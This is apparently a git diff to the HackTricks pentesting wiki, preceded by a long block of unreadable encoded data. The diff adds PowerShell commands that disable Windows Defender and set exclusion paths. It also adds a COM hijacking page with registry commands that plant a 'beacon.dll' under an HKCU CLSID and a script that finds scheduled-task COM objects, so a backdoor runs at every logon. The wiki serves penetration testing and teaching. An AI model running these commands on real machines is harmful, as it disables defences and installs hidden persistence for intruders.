zz^s$A5fAy{N~_#F-%ubn3P|Xk1EXdm{r1AbS$U(;5YHHL!%XY3_(BZ&Y}-qY438H( zuemrXrpp-DYRvXj0IikSOkKiYjAWYqHcL)ya{?hr?TA?k+c%ls{l@AV1y9~ocfLsx zY5kDCk=2bKq#PEaYyIh==0|YpAL`pYEu_G{H|QrN4Hy~uVNW(Ti6dH!dQk4720}v%twjArMG*cRUD~4ia%a@@ zqE%SR5oJI2>dN@H=jSj@Xd>yI`F!=$QR(<{f*+-X(Sm&Xl|dTUhT%1KpOQ(Gj#UAe zU@7)d-2zV;gkNP=@Tlg|{{z8V<^KPg9`sAJsFSP#g>+ncG}K4CIvTMF`^s^l?~VpK ztzh63z_J#u19sIU7Alz7q1;;aX0J|rmbG94g*?({J4?~)L6{1A%-9jjZtl2^1#6mY zH^7StiRb$X0u}CQO4YW_r`WG-;e(}x2X;YQ4I_aHFeIHk+3U5gQf^AOsQ4T0)_I$# zLeZ~rP2b+YK>x-kw-n)nSC}eojA@rLe~NbN4LAha9LXqpVh9rw@M+`rQT!+L6{I3j z2UEm;~l>y4fQ^;{)34dxNut0l;T?rdi0W}et8;&I7k&2}t zM#57^Vcp4+T%XhD@dEf=={VZili)$Os7v(cON8pZ2D<0^a^re*rRx{YL9yn~l) zW|?^mttfmSx)!^FOU!L4Bej|)5p$?2jG56P*eg!Rn2BUE@A*Q>DX9%uhYv3#zidHek=~LAT9I%sFW^Un@`2fE96EhaDc3^ zXl21vF`7j+$`)1D6`7Yb@kVJK!8tVa(oD{ik0V~Cui_K9=ub1%|Lkp5vL~KP@hpOC z2atRdjpVUrS4S=67ynw1F1^EEQ=BalGu~X)Ayv!~MC?h{p9#0SiN~;ee*z&0BTbNsnkp{iW%0A&o&SgZ@{(JAU^`E$my*k->5*x!I7{e9U0TFh9Q%@ z)t(z>0r%(Pbvm5G@hio?F?+3D8^lKG!2Y(zsaF5>)bxEJ?TD+IGs1sqNUxEfA2Z$OI|!jpeR-bYJluFvFJ{ex)$qvO5S#f9h%>c=@^8yphnUy&K zK{mV%xtd6kS{vI-;6E$YLiuwKWe3k-83?(;ByB}=_p-`tiV|W*`q%|c+rp)^e}T2e z!R3?x8T%BuIR#Pe^`$SOi-m?o?2MHkNgovt&~N9fsu&{(k+h64;H2;4@7P0;EhXg^ zHP21LOzFRn<1J~_?haDn9?!C62OH**s)IlPmjEV3PD0NoTTH1suUb$M+@<(zXo(dx zjwgW6&AzDkDF{k9EN(T_m69qsXNlhlF@{8x&YEg#ao~e+AU$a9!t*Z+Lq!B46@cTm z+4QsMQM708(J0j*GB!~OmsGxct#OJ~n~*Mr#xqw~{yMe!;RoG84RFzZd)->XUo0uQ zB3Hl}b0g{4O%MiCZ!TKWU&4+dL5S_o#-3U@ z?QgXQwEi;PyAF^=87V@Ah9DxmcBbMzX!>==<&01&io3K*m|+al7Ecr909-f@3g$7N zIePID?#m-^{`FgUZTCHtkJZjQ#ywq?G`h3NVz*Kc^M}vLIcbXU&i@mKq|!fjQWg$) z<2#!Dsgu^WAC!=Pw$SvqY5vosVZ67<%_#GMtx6DCRKA-^ejrgWjg^L#Yvj(eqgqLg z@i1@Nu$X!WFn)e5_9s*Te>kUfS5vxBT{o19bm?Z};?LBEklP0FdZi1YB`N7i&R@t`kyJ{Mt@D$S)3L& zS;wXwqcRf1=)-!?wY+5O!5_T_obLTJ!mk zd=?LK`K4&4Q%mZf_5xlSOR(H1*qrlSM^=CfVSK>wYg{RClfw@gi~cj(zgm?Ck3H z=Zb?m^h$=?#*>bGKaV%<1dO_NZFikr$(nzZ7<0paGSF6&N#8&lcD%`ZzgpF+B*$*e zsQj}0>|3}=4X~q_Gq3s+_K^>p!JTF$Ut*tN=AT40sPADg1gBsAuJKSQ&jx#^H(KE= zxyDhNQbRCIb;@B?F4|Ah+PLMYAh1J9q69Q8I6r)#X=YpN{556k9PTxBG5u}hax^+a zhI}*TWnL)s_n!&^r;&EF1<2aaeDyy|O(k9cxYlGGF|5l|>l0`{8m=QYtLrrjePN>| zWPCJ)q>=GfR0HE*DTh?F9kR0d^VxmGq`%Cltb@Qg9E{rZ6W#XRx{=l$H@

R zWt#1^A;VK(J`cr2B`q#>VFLLnGHFqu#92Ko@8SH?%uEUrr?qHy`vSmgZPqI{MvFMK zRVDom_ioTxviw_+KYF0tigUo*zP{&0wPL~{@jAyy3`Ra}QV`j%hj}Gg+^RX9PZ4(S zFllF)yW@3gOUn%1!dZT3GB`p#W&Ka%10p^m4^>ZeaT}3xyUMn7HJI{nl@byX()TD{ z-6)Abp;$Go5y0gamS&?f7-zd~^J&daksVMtVh-ijr<-*JdU$R_Df0}`Qy-3S9;Cbn30Q!8 z_C44_zh2lRXFC|iRaehH%zh8~3YNCc0`aqwLA1VEC`2KzEKDMY=;d-5KOkR30fTrj zV6H3tmw1&rSiGuWJT7l`cuO6rt+Sn!c*M2G-Mocj!&Hv5!P;h?wBh^)o?>iWlCd4v z-dc0;sb3e`22D-Ie$tO)&3if8ic!LCT&Qxllv))^5kB5N6rX-s{|#lGja-|>y!en8 zxr9APEv*PaUcD?`3dR6P$Tbt{@t<)IvdyytP&||C*?{rxmr@4QaI#D%* z1z3$PAgi;)SJke3k+vqN*nY(l7|GDs&^Ir*>3IXV?F5<1=`vbPUrn@n4Sir-X<#yD z+Xo9v<@y|AMNgoY6%}^)5`HmGZx^(lz@A^ljaWGRAgs9Z>e-JAcO=$?4_WfJI!U81 zb#+tlPAEC9x#9mVze5Ok>fJ`TE0aS(Am_7Q+RtuxXHx+@29`3ZvBiU3!`d42Xk@-_Ta^Zou&pyF1+lrNxR5hw#+HPCH;K>c5filgnb^L3e^r2O1z-!%PT0IB% z@Hd3J`Hls|N> zkEt9G=c0>na_}&H*AD$w4))6H9WQxQe#y*pBz*fO-zAP z1Su!nO#`hi6MUY`D411qG3q*PB27tJNTNLII^!6_^G*dYyAU6+rs-Wnp3wxY@oRPt zzx5irf}YhJccRkGedBtAL|gZi_j*CX8brYGq&gyj)I{|Yb(+Ns z{oak5#`S|FVr9i~8pdaT5~GimPr>Ik954Iq*Mm9B!SZuMl+|v(szW28foW!wafHCY z*+KJVKimEtO|#o!L6`}+Jfy3Nvi0c^)SS@g!HHV;^tR1Co58&saBpZ|zwhjyNQfRH zJmh>}(i;f(pZHL{Z_9okM~qjW(VERB#mVS3LsfUg(~xEHLe$p;Yypqna*Va>_se3l z^|3fS`N>-Z=ReL-9|!O3R6fi@LJ6+D?Rv8nTe#$a8z*y;JPEp-t`tNQFb<1&v{-|&jo&S z9*@~`9m+6i^j8OQ{7+;9DgK|FuZOQ>Ots-SvS|evv1%8D{t4>9A9nE}E4Q=&jnb5JIn@Dh`-rmkn zMfPTu3m?aARVKWk?JW_4%evl8P6UOq?U<%BNNN#KdjibjY=A)#JFguC85HOgBzL z_$c5B&cph&`HQ#6RcVE5H2Th*Cm($n_y}>}eG~1An`B^)D{D(`XFrB8Rdk6g?OxZ~ zJL8!`9un{?`fj<06vEvnG7ubD6}{LPyX#O&P491 zl27Nj#d*wwD7_2qjq6)Qk@A?PQ;c>EB|vg0ptgeM?q~_MF@UXijF_pcIXT;~X{E`_ z-CXRnPGDnnrm0e3==!Ll9%tw8%KI7uVZ6tDJ9A2{R?v_IZO&WA+NzruKg5zT!QHOf z4y|BF@ofs_{V=_9rWOh6T)KO-P3rxwB?CRM0f2V5!e0)8ER1tv3xJ}jJr zW%eQW1sWcS3(#R^-uJO`-O<10kWnjpnOd7x=CYKNlVVQq8P6yJ z=i(^tdGKmTH7|wert@0KZt9Q_Zqj*UKjZavUzx-p@ZeT-lr@aBhq(ARh0#obRQZ2C z>Gwbu*Z$5*%85Z>uyN9Wt0z;j>&^GHxe!%n`Z8ty)O~d1xOLiVFV+KW*V7SDk^;8; z1)}u$4sjr?1a?q-&yc4U0?m4}GcYesV^e^}OBq0S})=f_yeB zSW_E;19Ly^*TpRBb-GmCD17Mj5||1sV_Z}=_nkV_e#ap+ohpXJqh*n)T@%I=yK`{p%q3&Q&fRnARx;qYYLBnmyAJ}(x71+-X*F)oRPNVZ0|J}`Sx=YZ}s5Co2 zn!Q;p4S5lgRxR-pzreuia(P%gB*A$*?2$d8qv7HLxQU@b{f1QHJ`HuAeDMWpJ#jeB zdZ-W})TreA=P`i|Iu4{AnWS`)Xz$DCf{9|v?1ecVe7;`k{qOkd@HDqf$RMK=h zp`dZU0!C{^;51z3a5-$5ECFHn9M*fC1|_Z+81zwCjm0=FeND`yG=l$lA$Lr0z74FZ zykAtS-FP@i-Yl-C)O>{WcaMQxqd&yOttHRFq?$K!f?VfhHfW#!a-2W&+KHc0F}Y24 z7^nn-$cZG*TzRYM+-r*;IpZw>RLBh{<2DYXos$jnZ{69IK zF0NsuioXSKh*L57ZHGgQUje#s1u23awNMDMthp_J7Y-o~C0F>g6Nd8NBEA9OA1e{Y~-*{~!nvvYZy8 zoY&*F{XZF8A%F!*^}y15HW!*ej;sox%K2f;RQyc;6@F!Du_M)9>TK{DCmM;$vM3`M zPe5b$*WrRE{Uv1539TBjzwAxqe3S1#F%2Kk_gdZgjc|9yo(tm37tQwaSQW`2a~QP2 zY^UEcEX~{|OQU1FbMa z)UT16g~cpo-si;KDH|a2Gfn-&^Y7MI5n&AhZ1t|Qxr+A?91Y)41&jHzJyw#}<(qVn zMT&WM7U25tX2AWqFQc8|e6UTeFB9RC9LehSPrj!y`E3WMD#eK<)9chq%+o6-V3~en zuCX_Eb5MTiQ`RcG=AHk1Ym*sBZ=D!Z{QHz2J*`S=Ndvaor;TbieuPQyf_qX0+J>`Y zwpfM8)QvI&%vEPzNf|Nm8CoLJM&hNRL`$eU=-=C3kM-`p!qEEnv=>bb==T?e%K?W< znJGqMZ%uQDmDu^cCdXRK8NV)Hc=?s`%_G%lxfuR)tXFmDBdZ~pDqkRQt-?kNENp2k z-PgxqzH1@XR?ApLG6y%rG$4wFQSL4O?-W!+qCH5+E7u@Z>GmpdV7-9aHOjW;n-Um? z`@H1Xvfc9=g&O>}t<{~ZvT?(~FE$o{PU z_dE-9;!yuQ(8mZQBAP?%$q>O$Rd+36YFUQoQ+fy(PAvZ^eo_!`{^=b-Vw#W9V5E$> zITqco7N}}@zx|D$0$kP}mitum1+w^~e|{Wzj9?f5sS(YoboXmnyKOd1AQ@J4V)p(! z?D{D1u&pPC&?)!_Tdl<>mA?JrdJ#>He9+#I+Si1LaGp*kf|WqaCP&Y)-i^W* zS>6>MNQPVWd?=95IMR3Th?k3HE-okv>?@^D09WfytUKsRFpk^%ZRZVZl$P5Bm&!gH zeWec;T9NNACx3DuT-)ymQ|HU21_-?}99J0VSVSbTB2CyhLW{u@!Z?p;AF=4TYPZJR z&XPLVFHYGT5ae%^$Q*gj{uTPSkki+V=ohGUvt}K6)vjF!A~A@NdX*_PE>bde?EE>Q060&NNVP-mFrJOinP6ef$G%Zx zTecaVbra_qa?sB36v6c2UkM^;+5_@uVMGNNMml0S=pZC;DzwwCic;DM?DZ~|M+aT@shK-B!btXyl8wSSVn+!SP< zR^KHh-FYorkH(vHshAg1#J_J!be)(t+f))YjkF}iHm86Vjc5)at9X6B3bNWnd*%u7 z8}^h5J}>H(CHS_NZYTgpzpdasG#&sDS+E1?L}Jp9BoJLGELlzUmU5%f-~^5%9lHJ; ztMnE2=Q{hwA%p4saCd>j;Z$M!Xdnthd_T@4wKJR4dr*W^24NN3cS}#HCXISXW|f%@ z)su>>ChN5c0w?uo6i^Cm#(NHd~_@puT9nRK7`g&r?wMIs92$F+(#KWNWo zz-y>M#v{N%7h8QgyU;PRocj3L%^y3%$oF%8fqA;1vljO!dQgT^wP`uI;C}7;bqJ{g zsOiY*wYg`2tr=#_mS=7uDngi!Vz1U0uyiJyUT!u>4&$`QZ!su%D{6&=tcuZg(&&b4 zHvRJ`ZP2!26WpE5M5Gd6%G z=Xv4wXCoCxQB?Rk36K?Cj9q3X@ZxDIULz*A(#^8PbRr8=|8fRxd_cMS#PdoFjl4MP z_ua32|Kt7;ls|3LXD)uY%^pEjyy$1@w;$d?CY8 zL;_4y2U{GM-7x4HN=11I{8u?SGkJ}S1f!K zPhR<@(J^mmW?9u6PxjrXBW<*LZ{D);ePK5x@B%FLFV0s$7v~@y`6ZEi1=an%{rI{(D{rhlaswM3 zpHc#~^~3`Fq+~O>AyKhg{)er)@anYBZKM5Qa0fP*l2PA#zN8-8Y-Bipo|~Ay{ql&NLSYN=c?Qfj zf%|SsW5ROpbnA-jGDK5cw3h~YflqIHFnWv1%G^7X+nvl3ZN$`b>IBJhmrz$={5i3Z zrj!t~qMai8F{LC{9jqx?D#N#Sy$`y-2w7q~TXsAA=oMVZ9YFRQ!tBMGbBWx^7TxTf z22HQB8mbmZKC`WSww>@XZU0QPPy+3H1@GnswSXl}RL(NFj|QpJ&jk$5zuvRByNAu4 zSjPz9%xeg8PH>BUyr+sPD6mf|H{EEL-NC#v8TDb5GEnkenag1^;4eA4+cxQ@Qku3; zfs4z4g?%3y`N&lbUVBAX8l${$ZjXO}hMoQP(9+p$KRMdzc-OJ{mM+Vz>sJcWl13nj zSi|94neEFVQ&Bnr7*FsfWgTJ4pVtqL4<<#)?bNs&;8ke}1=d{9KNfb%meG|pi%w>I z+x1_F(SnOh6A8ldJ5DAhA|inj1KCVlE#t_ndt0Q+wRy``1ZU<=m3UOAoC#1YnsX_K zyngH=7t&wQ_377sb@KlB=^##fND9v8>3ySZ1=)e9|2@`=ymPqK*ZTq?m? zf_t5`8Taln&mVgQ{&4*n{9Tq_TO!%gm3A8m4Jksjww2-kRW=NQK2=&QZ!Df}Fjhes z`ZtJq{}mp}71J56J0AeeuLi;<<%b!VO9G!>*v!kff*WB#E9 zUr{SH$FH6A%>YsQs^+Y!TtJ`+Er+oVkb@3@Ga%5_~d+ILaiCx1Q)x~H-wTC z)Wl_zinwh~`UB_vEt&g)pn%wk_(*H?5zD+%&9&?%2w5eaeLfJ})oY=N=0VVHS@_25r6ImlIm0w|TQB+S)GpC9t zT%UfGOAmF=WGCT~p9E3$?G_Z~5R9;$6Tbx#&I3nNjj3C@Y#oMp`!dGFG>Af!HQRfJY+0HRlawJ#vV?5O zGO{OIX$T<+*|U@Qsqf?Q`{UlnUCuq{bm;)jV0f9gqmo6Gu zfk0q|r`>-09{b)%H-~GFrphZh}pvC z1=sm|azIqXD-V*ruQnXH!m8#_l8(FOa%@0TQ^7KawR|%yW}V8#MAvVr^C=$rK3y#d ztO2)%{LkPfv%z34gTdPZB$-}g$o}p=g6}!A8~$GaR1XN!p9L3h@+2(L$%`Z2)O5^u zM`i`aPp+UJ^G&uXqp1bwzxHPO0ts4IY+`O6E5|VZCxl{~hK&Tl<983Av||SM`ABN% z$5QY@6eY%oEb}>dc#FK?rq`k*E2jAqTRr`+Lw5?e`SopUWzqIId3n^eI&y?$9K3Wn zDx?TGJ1#J^N1?>H9eYotfSpV9C5tQ+#^ctIvQz02U+j=fszhKKC+FhCR&80Zw8InC zL*TQV|MR@&}!QTCW*nGScnj>V1@|o!RtVe6WIc<{AEUp2hD>C)g#! zx^6?BFbuIeYM0VHr0&g9Gi5u?FS7{pF~Wh=WkuY8=yMAug#}XciC-G;y(K{iSmj`d z(U+EA>RInF((n6U_YGTPjwC%%WtXJ@<#n7j!F!(2An@+DZam2weDg$1mK|Oz*#s$| zE3PIDO+FKt15uUS-kXRtiW8@(x901AmTPEf-ZB@$zsb${QQR4?H<#WudA}?}j0-Tf zg;!XGBWl2SnzHam`B(!Zq6C9kHAG+Y#09rAwmA^pKi)aG;g&@ZzN-=blDuTF3M0Z_ z8YG|PzGJ_C&^WITpLXx8XVqD7en>o{5)ssOAr^!KC-Q6x=T!?w?yRBzOc_PDX$P?r z4H;%+Tzl%vGKPnTVQh_gvMGg&0Qx)2Z0?QB-B&hk1CG{($3ZC+g{q+ z+6ND&j@m})k+n|?!a6rY*KL~bMTI?D*9!b0H+-S|=-vv{AK^vs`dO>14c{IsN|~c9 zB*#`qm^@`cwkLw=bLGhe{pXyfD+*Fk8W|ObW^f`u)hIIIZuDIrz<=!;5X7Ea+h47* zAalFz(rVq?6lQTvDu--5$6dCMqcQ8Be#m!$r~g9*kbA`H5tH06oD@F4N{q^8v`R<1 zBR7Wb^6{gZokLR-6u0mvd;DlC3y3CjYRloHU^)Cb1iN3C(?o@lMP(5?EBnt+j13_5 zkMR_HO3?lfnWFN!PnPVq07gD&s`KeD=CLxd;J=ZpPHUvqo8>Jv3ot7PWK}lN34Lq5 z_z;+FvyK>bf*5ER({rceP-lMtSuYdCQGYjCyo~V)=2byG6XXd3qc-E zL~R!DeFC~Uapa=iLtgPjf@iV%nCYZi`uLlLjA?KehX>nek}gHboFe;F6|A|vThoK65E2xuRn53 z{x6`q5Q|e`F#w|7>V$Z6y+yQ^YylU3K5B_9hN+ss_#tqDX{x7MdiL{uN3^aPf5L9S z9FkXAUHMJ6On!N=VoOqBq4gd+N(>yDQO&=7%syshG0LaUK?N>7dc66(my|22sY#O- zvMDI1AMiN0QjZRBQS&4h51&^2eKDAyJ?*L_l_8uB2;s;*qT|+MN63?rwV)f>gy%Y@ zED>f;*zYvB`u?N7 z^YuoAWkyQue)6{_oS5iEvR7K(^RrsdZW~i3i5e26=TW{@!=M8t^Nz|HRhTGaRXQzV z#fkz94C*Sn_;zEiP5oyS@E*v321n5!kxsG&tU9j9LZQt@N!gD%VoU}^474S&L_2Dk zozYV@X%MUOC&nPi>1X=Z0)v@*iS8I(}6b zJz-oTr54fcsr?sG4lu0LKJ_Ggj2Zqz* zm1;}%>$U|d2et7#nZVkUwDa9m-X1@@gNcazU1$Hj?QJY4F1fMbdD~fsmi-Kvs}w`- zOdpd^3gTd#r~z^&m7yvJOD97cQtw1NcBD+0kaXMU@}@`pcB$|D<$aqalB=hH#?7CF zy0AFseZqd*-0+_a0(y=v?(c+HS9~&YHInlxY@NQ03|^IZtA8Qjt-S~iaq!9Q_n4U6 zi3YdxRic@2t$MIG3OhDtsrL|K+Ya?uis>L%ZfM7UHA4HfHVM)t5=m=$=9A$MwxMM{?};orNfnmAqiV>r+VtlBQ2_K zXk@|Ay-l+rqk`LRLwls*2a(!eI6Z51wVVvH+yVAV#sxuI=kdSzh%K?`rQ&WdJI$WM zxhL?pzwBe~wlEm4u9VJDi@mZmb4sCbifLPaT27;SXz>ioEHxltj}=HDhrj2n-?5tP zw?`na%m#U7Vt%w1hIrYWlD;_dijsNmUii;pMP#9{8|!Hd#hoH;%aFX}XvEcFR>iUV zI(?eRrg95)l1$%*z=If{GYoljJaf(o8ZTSbvMdpscQA5pNYf=G{dkf-eQxQp6;G-3 z$+h%I<-$@IwwzQ5#RsTh^|^TJH>-5TI9CJyIbQlgulkdU2X1kei#L|B3Yi>pt#-&V zso_r@<;w6Qv)A3<h{re^0DiU+O6+52P+knX{jNTD6?n zI;%|He%9B})AUND>83@=8$N#M`#4KcF9}EE8Pexb^{Ahb0C5XhLi|$5()TwV_+QmA znWAae72D^!v9BNBhYeTg_?%i;XUpI7n-6_XXCcQh6_046@qdM^8h#hju0e=$WK6V< zRCJJxY~|qm ze67}NG(6{Po3LaHy{aLg2$yQyWT>V_Ee4q`DPn(ojNy~Txh{HiMjnWB6I&r@%$UQ0&2OZKuZ zrTbpXYfpK%n4;aAJ;V6IhE}P1TDlkhp_6h;+{p(Agw}n8@`f3c^mG&E6YXBiOn)l| z0hXk1rO*)ktvU&p2F`X(eB#$rG1&Ol{IHgS#F5V*na}maIpMvVnL65-m=|}-PY2%Q z%+g!Dd@UuheOUNrpvC>tBrnh2m|Zqx1MMfU; z?R-h2;LmNYv0jEq&w-5dOi%U3M%dko0qldVo$$QST}RRmdQE)f;C_;I>nhhFM}xz# zw-01Ss%vcp8?V)bs2F&)GLEQB#eb*QS@N%Azlpzh5{Hm)n9t4qXT6g*G!zN9i*Fl} zh}DLdJ&*|5PP=JuD$D-0hN8OXfj$a2vvXx+jF&Z=;cCQ}2BNDIUZ`%%S)zdOCbfTJf6M7YR(c)wF$Yi;euAr)yax*U8 zqsNqqMpDunDnoI^jsCH&{qv@y|H7B7CFvW% zCEiKjt7+3!U(=A?(HE3oc95HFfQLyC^{2d{NrBf#!kZ>}bySrG|KxYwjGk<7x(?Y9 z>}*olBe`7a92~U~qD5N~gU3wgO(vedDqL6RSK_hWm?^I?*&{x~$v>uxYRJb-s+$t> z56FoGOOZOIu{2yu*i!jp&%h}G#25vtG3wV6ONp3j>AP|Jgy=#}>iwW@AmDc*$x-g` zs<=o|F<$yXd|OQ~kEc;o*D6{t^X2LX zhZ;)xpB$M#s3%Uy$Jl&W;rnvwwTv?65Pvx1(54y4lr65d-M(5%s}t~hQVHEns0}FY zYm?E=b0n0EUAqljH7xGmFT%jXq5Ja;Z|^nn`;c;NH(QWQU%T1U%~KR4G+m@%?LJBs zzJ$ww)sK?7r9UOF-!sZ%osBTNzYz(xaWH4x;NI7L8cc1|zvrCGMymMX%Sc1V(F&e$ z`Q(r8fF7jg%3WsPiq90!S`pkQ;(?~_=kDmuB;i4kvk582WJS+?2Jcvdt)6Vj{f%A83$ge4)1Kh0+*y z6PRh5_dbE*o%vU`r;`TNs7sX^KwJOqNd4*{M>eO2E}rN9pHATU39$y&`wJRhsJx*A zPBKZR9{(5tXD{f!`4!vCRr;-4$k*cfz~&MB#hzxu%C+U|HR;jpj5$9L%m$YSB8l})Y -![](<../.gitbook/assets/image (638).png>) +![](<../.gitbook/assets/image (638) (3).png>) **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! diff --git a/windows-hardening/basic-powershell-for-pentesters/README.md b/windows-hardening/basic-powershell-for-pentesters/README.md index 10523339..f3e4c750 100644 --- a/windows-hardening/basic-powershell-for-pentesters/README.md +++ b/windows-hardening/basic-powershell-for-pentesters/README.md @@ -176,14 +176,16 @@ Get-NetConnectionProfile | } ``` -## Antivirus +## Disable Defender ```bash -#Check status +# Check status Get-MpComputerStatus -#Disable +# Disable Set-MpPreference -DisableRealtimeMonitoring $true -#Set exclusion path +#To completely disable Windows Defender on a computer, use the command: +New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force +# Set exclusion path Add-MpPreference -ExclusionPath "C:\users\public\documents\magichk" ``` diff --git a/windows-hardening/windows-local-privilege-escalation/README.md b/windows-hardening/windows-local-privilege-escalation/README.md index b05a7d30..080e151b 100644 --- a/windows-hardening/windows-local-privilege-escalation/README.md +++ b/windows-hardening/windows-local-privilege-escalation/README.md @@ -1328,6 +1328,24 @@ Tools to extract passwords from browsers: * Mimikatz: `dpapi::chrome` * [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) +### **COM DLL Overwriting** + +**Component Object Model (COM)** is a technology built within the Windows operating system that allows **intercommunication** between software components of different languages. **** Each COM component is **identified via a class ID (CLSID)** and each component exposes functionality via one or more interfaces, identified via interface IDs (IIDs). + +COM classes and interfaces are defined in the registry under **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** and **HKEY\_**_**CLASSES\_**_**ROOT\Interface** respectively. This registry is created by merging the **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.** + +Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral). + +![](<../../.gitbook/assets/image (638).png>) + +Basically, if you can **overwrite any of the DLLs** that are going to be executed, you could **escalate privileges** if that DLL is going to be executed by a different user. + +To learn how attackers use COM Hijacking as a persistence mechanism check: + +{% content-ref url="com-hijacking.md" %} +[com-hijacking.md](com-hijacking.md) +{% endcontent-ref %} + ### **Generic Password search in files and registry** **Search for file contents** diff --git a/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/windows-hardening/windows-local-privilege-escalation/com-hijacking.md new file mode 100644 index 00000000..1c7ca27a --- /dev/null +++ b/windows-hardening/windows-local-privilege-escalation/com-hijacking.md @@ -0,0 +1,106 @@ +# COM Hijacking + +

+ +Support HackTricks and get benefits! + +Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! + +Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) + +Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) + +**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** + +**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** + +
+ +### Searching not existent COM components + +As the values of HKCU can be modified by the users **COM Hijacking** could be used as a **persistent mechanisms**. Using `procmon` it's easy to find searched COM registries that doesn't exist that an attacker could create to persist. Filters: + +* **RegOpenKey** operations. +* where the _Result_ is **NAME NOT FOUND**. +* and the _Path_ ends with **InprocServer32**. + +Once you have decided which not existent COM to impersonate execute the following commands. _Be careful if you decide to impersonate a COM that is loaded every few seconds as that could be overkill._ + +```bash +New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" +New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll" +New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both" +``` + +### Hijackable Task Scheduler COM components + +Windows Tasks actually use Custom Triggers to call COM objects. And because they're executed via the Task Scheduler, it's easier to predict when they're going to be triggered. + +
# Show COM CLSIDs
+$Tasks = Get-ScheduledTask
+
+foreach ($Task in $Tasks)
+{
+  if ($Task.Actions.ClassId -ne $null)
+  {
+    if ($Task.Triggers.Enabled -eq $true)
+    {
+      if ($Task.Principal.GroupId -eq "Users")
+      {
+        Write-Host "Task Name: " $Task.TaskName
+        Write-Host "Task Path: " $Task.TaskPath
+        Write-Host "CLSID: " $Task.Actions.ClassId
+        Write-Host
+      }
+    }
+  }
+}
+
+# Sample Output:
+# Task Name:  Example
+# Task Path:  \Microsoft\Windows\Example\
+# CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
+# [more like the previous one...]
+ +Checking the output you can select one that is going to be executed **every time a user logs in** for example. + +Now searching for the CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** and in HKLM and HKCU, you usually will find that the value doesn't exist in HKCU. + +```bash +# Exists in HKCR\CLSID\ +Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}" + +Name Property +---- -------- +InprocServer32 (default) : C:\Windows\system32\some.dll + ThreadingModel : Both + +# Exists in HKLM +Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize + +Name Property +---- -------- +{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler + +# Doesn't exist in HKCU +PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" +Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist. +``` + +Then, you can just create the HKCU entry and everytime the user logs in, your backdoor will be fired. + +
+ +Support HackTricks and get benefits! + +Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! + +Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) + +Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) + +**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** + +**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** + +